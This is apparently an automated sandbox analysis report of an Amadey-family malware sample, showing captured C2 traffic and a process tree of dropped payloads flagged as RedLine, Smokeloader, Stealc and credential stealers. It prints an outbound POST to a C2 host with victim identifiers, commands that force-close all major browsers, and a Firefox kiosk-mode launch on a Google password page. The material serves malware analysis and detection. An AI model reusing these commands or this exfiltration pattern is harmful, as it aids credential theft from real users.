2024-12-09 20:10:21 UTC	1369	IN	Data Raw: 66 53 63 67 4e 65 4c 2f 34 67 45 78 66 73 6e 63 42 71 70 75 72 6b 62 5a 65 36 58 78 48 4a 54 61 65 37 42 70 53 50 50 76 46 54 78 49 42 2b 41 46 6f 73 39 69 51 54 46 61 33 66 6a 6d 71 37 6f 37 51 6c 73 4c 5a 55 47 63 74 56 36 4b 56 4d 69 4d 6f 39 2b 68 65 61 7a 7a 4a 41 47 69 54 69 61 45 42 64 67 2f 53 31 4c 35 2b 51 2f 44 4c 73 72 68 41 57 78 68 75 2f 35 45 53 4f 77 7a 48 79 46 5a 58 4d 65 41 64 52 4c 2f 45 73 46 42 53 70 31 59 46 6f 75 36 75 34 49 61 69 78 55 78 4c 46 56 4f 69 73 43 4d 4f 50 50 75 56 54 78 49 42 58 47 56 45 74 2f 47 67 48 55 37 57 54 68 32 48 2b 38 76 77 68 71 37 46 57 46 4d 5a 61 34 61 78 4e 68 63 73 34 2b 78 57 66 7a 33 59 4c 57 79 7a 2b 4a 42 59 58 72 64 4b 4d 5a 72 47 68 75 57 33 73 39 31 63 4a 69 67 4f 6e 6c 55 75 62 32 43 6e 78 55 Data Ascii: fScgNeL/4gExfsncBqpurkbZe6XxHJTae7BpSPPvFTxIB+AFos9iQTFa3fjmq7o7QlsLZUGctV6KVMiMo9+heazzJAGiTiaEBdg/S1L5+Q/DLsrhAWxhu/5ESOwzHyFZXMeAdRL/EsFBSp1YFou6u4IaixUxLFVOisCMOPPuVTxIBXGVEt/GgHU7WTh2H+8vwhq7FWFMZa4axNhcs4+xWfz3YLWyz+JBYXrdKMZrGhuW3s91cJigOnlUub2CnxU
2024-12-09 20:10:21 UTC	1369	IN	Data Raw: 4f 58 54 75 36 63 46 67 7a 70 38 43 58 62 72 43 68 71 6a 62 69 71 42 34 49 69 6c 7a 72 35 42 44 4e 7a 44 4c 32 46 35 7a 4d 63 67 70 58 49 2b 67 6e 48 78 71 6c 32 4a 4a 6e 75 61 32 33 4a 61 6d 34 56 67 50 47 56 66 57 68 57 70 2b 50 64 37 30 55 68 49 41 71 54 6d 77 6b 36 6a 67 62 58 35 33 46 67 33 75 31 70 37 42 74 76 66 6c 4a 55 63 31 58 70 2f 77 49 69 38 41 77 2f 68 79 64 79 58 34 44 58 79 72 2f 4b 52 34 5a 70 74 6d 41 61 37 69 72 75 53 65 68 74 6c 6f 59 7a 56 50 67 70 31 72 4e 67 58 6e 36 43 39 79 59 4d 69 64 64 4d 66 51 34 57 41 4c 69 79 73 42 71 73 75 72 6b 62 61 61 39 58 78 58 4e 56 2b 47 68 54 6f 44 4f 4e 76 77 54 6b 38 52 35 42 31 77 69 39 79 30 56 47 62 37 5a 69 32 4b 79 6f 37 41 67 34 76 6b 51 46 74 49 62 76 2b 52 35 67 4d 45 33 2b 67 58 63 33 7a Data Ascii: OXTu6cFgzp8CXbrChqjbiqB4Iilzr5BDNzDL2F5zMcgpXI+gnHxql2JJnua23Jam4VgPGVfWhWp+Pd70UhIAqTmwk6jgbX53Fg3u1p7BtvflJUc1Xp/wIi8Aw/hydyX4DXyr/KR4ZptmAa7iruSehtloYzVPgp1rNgXn6C9yYMiddMfQ4WALiysBqsurkbaa9XxXNV+GhToDONvwTk8R5B1wi9y0VGb7Zi2Kyo7Ag4vkQFtIbv+R5gME3+gXc3z
2024-12-09 20:10:21 UTC	1369	IN	Data Raw: 39 79 73 65 47 36 66 66 6b 6d 53 2b 71 62 64 74 37 50 64 58 43 59 6f 44 70 34 64 66 6d 38 55 2b 38 51 57 58 77 58 45 59 56 7a 4f 36 5a 6c 67 4d 71 38 4c 41 4e 61 69 36 71 79 71 39 2b 55 6c 52 7a 56 65 6e 2f 41 69 4c 78 6a 2f 36 46 5a 4c 53 64 77 68 56 4c 50 4d 68 48 42 57 76 30 34 52 70 75 61 2b 2f 49 61 6d 77 55 78 37 4f 55 75 6d 74 52 38 32 42 65 66 6f 4c 33 4a 67 79 4c 30 45 67 39 69 56 59 41 75 4c 4b 77 47 71 79 36 75 52 74 72 72 6c 56 45 63 42 64 34 36 46 4f 68 38 6f 35 39 68 43 54 78 48 51 4b 56 53 50 78 49 52 6b 62 71 64 6d 4c 61 37 4f 70 75 69 76 69 2b 52 41 57 30 68 75 2f 35 47 69 57 77 6a 58 36 55 34 4f 4f 61 30 35 64 4c 37 70 77 57 42 61 67 31 34 64 74 73 36 6d 30 4b 4b 61 39 56 52 48 43 53 65 2b 6b 54 35 2f 64 4f 66 51 57 6b 4d 4e 79 43 6c 77 Data Ascii: 9yseG6ffkmS+qbdt7PdXCYoDp4dfm8U+8QWXwXEYVzO6ZlgMq8LANai6qyq9+UlRzVen/AiLxj/6FZLSdwhVLPMhHBWv04Rpua+/IamwUx7OUumtR82BefoL3JgyL0Eg9iVYAuLKwGqy6uRtrrlVEcBd46FOh8o59hCTxHQKVSPxIRkbqdmLa7Opuivi+RAW0hu/5GiWwjX6U4OOa05dL7pwWBag14dts6m0KKa9VRHCSe+kT5/dOfQWkMNyClw
2024-12-09 20:10:21 UTC	1369	IN	Data Raw: 78 4b 39 37 63 41 31 70 35 54 38 4a 72 53 77 51 42 4c 63 55 4f 71 6f 57 62 4f 50 59 61 6c 42 7a 70 49 67 58 45 56 6a 35 52 64 57 58 61 32 54 32 46 53 6e 36 71 70 74 2b 75 55 65 55 64 67 62 76 2b 51 50 6a 74 30 72 2b 78 43 4b 77 7a 55 77 5a 41 54 73 49 68 38 4e 71 38 53 50 4c 66 44 71 73 32 33 36 6a 68 41 59 7a 55 44 32 73 6b 57 64 79 48 6e 43 58 64 7a 59 4d 6c 59 61 46 76 6b 6d 46 68 71 36 77 73 31 4b 71 4b 43 37 50 61 57 67 58 31 47 45 47 2b 48 6b 45 4e 36 42 65 66 6b 43 33 4a 67 69 58 41 46 32 71 58 39 49 54 37 4f 64 6d 53 32 6f 36 75 52 2f 37 50 64 43 55 5a 49 62 6f 4b 64 61 6e 38 6b 36 36 78 44 62 2f 6b 77 70 51 43 37 38 50 77 6b 6a 6b 74 53 61 59 4c 69 39 72 57 47 33 74 46 34 66 7a 55 32 6e 36 67 69 43 6a 32 48 45 55 39 53 41 54 55 41 61 4f 37 70 77 Data Ascii: xK97cA1p5T8JrSwQBLcUOqoWbOPYalBzpIgXEVj5RdWXa2T2FSn6qpt+uUeUdgbv+QPjt0r+xCKwzUwZATsIh8Nq8SPLfDqs236jhAYzUD2skWdyHnCXdzYMlYaFvkmFhq6ws1KqKC7PaWgX1GEG+HkEN6BefkC3JgiXAF2qX9IT7OdmS2o6uR/7PdCUZIboKdan8k66xDb/kwpQC78PwkjktSaYLi9rWG3tF4fzU2n6giCj2HEU9SATUAaO7pw
2024-12-09 20:10:21 UTC	1369	IN	Data Raw: 50 53 63 76 43 7a 2f 44 76 69 37 77 4a 66 69 6b 6d 6e 2f 41 6a 4b 7a 43 76 76 46 5a 2f 57 63 55 6c 6b 48 64 30 6d 48 78 79 36 77 35 64 69 67 4a 53 70 4c 71 79 35 56 77 66 62 47 36 6e 6b 52 38 32 58 41 4c 31 62 33 50 38 38 54 6b 4a 6a 6f 6d 67 74 48 71 4c 64 68 33 75 76 35 35 73 6a 70 62 5a 47 41 64 31 55 70 2b 6f 49 69 34 39 68 72 31 33 63 78 47 4e 4f 41 6e 4f 6f 63 30 31 4f 2b 34 50 53 63 76 43 7a 2f 44 76 69 37 77 4a 66 69 6b 6d 6e 2f 41 6a 4b 7a 43 76 76 46 5a 2f 57 63 55 6c 6b 48 64 30 6d 48 78 79 36 77 35 64 69 38 59 53 4b 44 4a 79 4a 52 52 4c 45 56 65 43 79 57 63 32 42 65 66 4a 54 78 50 6b 79 52 68 6f 63 74 47 67 41 58 66 53 54 74 57 36 77 70 4c 73 37 73 2f 70 33 48 38 31 61 38 62 52 66 67 6f 41 58 79 7a 4c 63 6a 6a 49 49 47 6e 75 6f 5a 6c 67 5a 76 Data Ascii: PScvCz/Dvi7wJfikmn/AjKzCvvFZ/WcUlkHd0mHxy6w5digJSpLqy5VwfbG6nkR82XAL1b3P88TkJjomgtHqLdh3uv55sjpbZGAd1Up+oIi49hr13cxGNOAnOoc01O+4PScvCz/Dvi7wJfikmn/AjKzCvvFZ/WcUlkHd0mHxy6w5di8YSKDJyJRRLEVeCyWc2BefJTxPkyRhoctGgAXfSTtW6wpLs7s/p3H81a8bRfgoAXyzLcjjIIGnuoZlgZv
2024-12-09 20:10:21 UTC	1369	IN	Data Raw: 39 36 49 30 37 6f 62 64 65 46 6f 6f 56 70 37 77 49 31 59 38 55 37 78 53 4d 77 7a 4a 41 47 69 2b 36 63 46 67 51 76 74 53 51 62 76 4b 74 70 69 72 69 71 42 34 49 69 6b 32 6e 2f 42 76 44 6a 79 75 39 53 39 79 48 66 41 4e 62 49 50 51 72 43 67 2b 71 30 4a 5a 75 2b 5a 53 43 41 4c 43 77 51 42 4b 49 61 75 71 67 58 70 6a 4d 4b 66 6f 74 6f 75 31 67 43 55 6f 67 75 41 51 66 45 4b 44 74 76 6c 71 76 72 61 78 76 68 4c 52 47 45 6f 6f 56 70 37 77 49 31 59 38 55 37 78 53 4d 77 7a 41 69 58 53 37 32 61 41 64 54 74 5a 4f 57 4c 65 62 35 38 6d 32 77 39 77 68 52 6a 56 6a 31 74 6b 36 4f 32 54 71 36 4c 61 4c 74 59 41 6c 4b 49 4c 67 5a 46 52 6d 36 78 6f 4e 39 75 5a 53 43 41 4c 43 77 51 42 4b 49 66 74 33 6d 65 5a 76 4d 4f 66 4d 55 33 49 34 79 46 68 70 37 75 67 55 4b 47 72 7a 51 77 6b Data Ascii: 96I07obdeFooVp7wI1Y8U7xSMwzJAGi+6cFgQvtSQbvKtpiriqB4Iik2n/BvDjyu9S9yHfANbIPQrCg+q0JZu+ZSCALCwQBKIauqgXpjMKfotou1gCUoguAQfEKDtvlqvraxvhLRGEooVp7wI1Y8U7xSMwzAiXS72aAdTtZOWLeb58m2w9whRjVj1tk6O2Tq6LaLtYAlKILgZFRm6xoN9uZSCALCwQBKIft3meZvMOfMU3I4yFhp7ugUKGrzQwk

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	50079	104.21.48.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:10:23 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OOK1G9CXM5AFEVAWA0Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 11628 Host: atten-supporse.biz
2024-12-09 20:10:23 UTC	11628	OUT	Data Raw: 2d 2d 4f 4f 4b 31 47 39 43 58 4d 35 41 46 45 56 41 57 41 30 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4f 4f 4b 31 47 39 43 58 4d 35 41 46 45 56 41 57 41 30 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 4f 4b 31 47 39 43 58 4d 35 41 46 45 56 41 57 41 30 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --OOK1G9CXM5AFEVAWA0QContent-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--OOK1G9CXM5AFEVAWA0QContent-Disposition: form-data; name="pid"2--OOK1G9CXM5AFEVAWA0QContent-Disposition: form-data; name="lid"LOGS11--Li

Target ID:	0
Start time:	15:07:56
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf40000
File size:	3'279'872 bytes
MD5 hash:	D75B31BA6F3BEBDB12B9C28A09D444F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:07:58
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xbd0000
File size:	3'279'872 bytes
MD5 hash:	D75B31BA6F3BEBDB12B9C28A09D444F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:07:59
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xbd0000
File size:	3'279'872 bytes
MD5 hash:	D75B31BA6F3BEBDB12B9C28A09D444F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:09:00
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xbd0000
File size:	3'279'872 bytes
MD5 hash:	D75B31BA6F3BEBDB12B9C28A09D444F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	15:09:11
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"
Imagebase:	0x220000
File size:	828'416 bytes
MD5 hash:	9A2CC9D6C6282E7B2A0FF5649A70B0DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:09:11
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:09:11
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"
Imagebase:	0x220000
File size:	828'416 bytes
MD5 hash:	9A2CC9D6C6282E7B2A0FF5649A70B0DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:09:11
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"
Imagebase:	0x220000
File size:	828'416 bytes
MD5 hash:	9A2CC9D6C6282E7B2A0FF5649A70B0DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:09:19
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe"
Imagebase:	0x400000
File size:	1'966'080 bytes
MD5 hash:	F7A47830F40CC4B6A06D777FAB2F42F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000C.00000002.3486058612.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000C.00000002.3478917233.0000000000F4D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 54%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	15:09:28
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe"
Imagebase:	0xc50000
File size:	1'858'560 bytes
MD5 hash:	2B86AAB9799FDB49D90E8D5C3F773C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3197174045.00000000012CD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3197230933.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3190538036.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3131338677.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3190424295.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3164980897.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3164239132.00000000012C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3190825384.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3137799586.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3106209007.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	15:09:36
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe"
Imagebase:	0xa80000
File size:	1'831'936 bytes
MD5 hash:	3A76AB70C01DA0F818F89BFE4E904EE3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.3180012118.0000000000A81000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000003.3122477181.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:09:41
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe"
Imagebase:	0xc50000
File size:	1'858'560 bytes
MD5 hash:	2B86AAB9799FDB49D90E8D5C3F773C33
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.3245722384.00000000005E1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.3365772900.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.3271234904.00000000005E1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.3271575220.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.3365494500.00000000005E5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	15:09:44
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe"
Imagebase:	0xea0000
File size:	973'312 bytes
MD5 hash:	3F7BA360C993567431731DD9E8EB6A67
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:09:45
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x170000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:09:45
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:09:48
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x170000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:09:48
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:09:48
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x170000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:09:48
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	15:09:48
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x170000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:09:48
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	15:09:48
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x170000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	15:09:48
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	15:09:49
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	15:09:49
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	15:09:49
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	15:09:50
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe"
Imagebase:	0xa80000
File size:	1'831'936 bytes
